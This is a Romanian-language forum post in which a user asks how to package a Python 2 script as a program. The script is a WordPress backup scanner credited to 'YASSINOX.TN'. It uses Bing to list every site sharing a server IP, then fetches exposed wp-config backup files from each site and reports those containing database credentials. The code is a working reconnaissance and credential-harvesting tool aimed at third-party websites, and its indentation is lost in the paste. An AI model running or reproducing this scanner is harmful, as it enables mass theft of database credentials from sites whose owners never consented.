Jump to content
cristodulo

Poate sa imi spuna cineva cum sa fac sa functioneze ca un program nu doar un scrip

Recommended Posts

Posted (edited)
import re , urllib2 , sys, urllib
lista = []
backup = ['wp-config.php~','wp-config.php.bak','wp-config.bak','wp-config.php-bak','/wp-content/uploads/blog-backup.txt']
def unique(seq):
seen = set()
return [seen.add(x) or x for x in seq if x not in seen]
def grabwp(ip):
try:
s = ip
page = 1
print('\n')
while page <= 21:
bing = "http://www.bing.com/search?q=ip%3A"+s+"+?page_id=&count=50&first="+str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"' , readbing)
for i in range(len(findwebs)):
wpnoclean = findwebs[i]
findwp = re.findall('(.*?)\?page_id=', wpnoclean)
lista.extend(findwp)
page = page + 10
except IndexError:
pass
def searchbackup(site, config):
try :
read = urllib2.urlopen(site + "/" + config).read()
rs = re.findall("USER",read)
if rs :
print "BACKUP FILE > " + site + "/" + config
except :
pass
def scan():
final = unique(lista)
for site in final :
for config in backup :
searchbackup(site, config)
print "\!/ Server Wordpress Backup Files Scanner By YASSINOX.TN !/"
print ''
ip = raw_input("Server Ip Adress : ")
grabwp(ip)
final = unique(lista)
print "Done ! Grabbed " + str(len(final) ) + " Wordpress Sites On This Server"
print "---------------------------------------------------"
scan()
print "---------------------------------------------------"

Edited by Ganav

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...